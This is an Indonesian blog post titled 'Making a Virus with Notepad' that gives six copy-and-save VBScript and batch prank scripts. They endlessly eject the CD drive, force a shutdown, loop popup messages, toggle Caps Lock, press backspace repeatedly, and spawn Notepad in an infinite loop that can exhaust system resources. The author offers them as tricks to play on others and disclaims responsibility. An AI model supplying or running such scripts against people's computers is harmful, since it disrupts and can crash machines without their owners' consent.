Membuat Virus Melalui Notepad

Assalamualaikum, apakabar pengunjung yang sudah hadir? mudah-mudahan di sehatkan selalu dari berbagai penyakit seperti flu yang dapat menular akibat virus, oh ya kali ini saya akan membahas mengenai masalah virus, tapi yang dimaksud virus disini bukan virus yang ada pada manusia sob, tapi virus yang menyerang pada komputer,, hehe :)
Virus, sungguh meresahkan bagi kita jika sudah terinfeksi pada komputer, apalagi ketika kita sedang mengerjakan pekerjaan penting terganngu karena virus tersebut mengganggu kinerja komputer atau membuat komputer menjadi lemot 

Kali ini saya akan memberikan tips dan trick jahil buat sobat yang penasaran, Untuk hal Resiko terima sendiri ya sob,Untuk membuat virus ini tidak membutuhkan software canggih, cukup dengan Notepad software bawaan window yang pasti sudah kita ketahui.

Berikut caranya :

1. Membuka dan menutup CD/DVD Komputer.

• Copy script di bawah ini. 

Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

• Save as dengan format.vbs dan jangan lupa merubah save as type dengan All File

 2. Membuat Komputer Shutdown dengan muncul pesan.

•  Copy script di bawah ini.

@echo off
msg * Harap tenang komputer anda akan mati heheheheh
shutdown -s -c “Komputer anda mati”

• Save As dengan format .bat dan jangan lupa merubah Save As Type menjadi All File

 3. Membuat Pesan muncul berulang – ulang 

•  Copy script di bawah ini.

@ECHO off
:Begin
msg * hahahhaa
msg * santai boss
msg * ini hanya main-main
msg * jangan marah ya
msg * hanya bercanda
GOTO BEGIN

• Save As dengan format .bat dan jangan lupa merubah Save As Type menjadi All File 

4. Membuat Tombol Capslock terus menyala  

• Copy script di bawah ini.

Set wshShell =wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “{CAPSLOCK}” loop

• Save As dengan format .vbs dan jangan lupa merubah Save As Type menjadi All File

5. Membuat terus – menerus menekan tombol “backspace”

• Copy kode di bawah

MsgBox “Kembali ke menu sebelumnya” Set wshShell =wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “{bs}” loop

• Save As dengan format .vbs dan jangan lupa merubah Save As Type menjadi All File

6. Membuka notepad Terus – menerus

• Copy kode di bawah

@ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top

• Save As dengan format .bat dan jangan lupa merubah Save As Type menjadi All File

Informasi : Jika ada sesuatu hal terjadi jangan salahkan saya, oke :) Nuhun...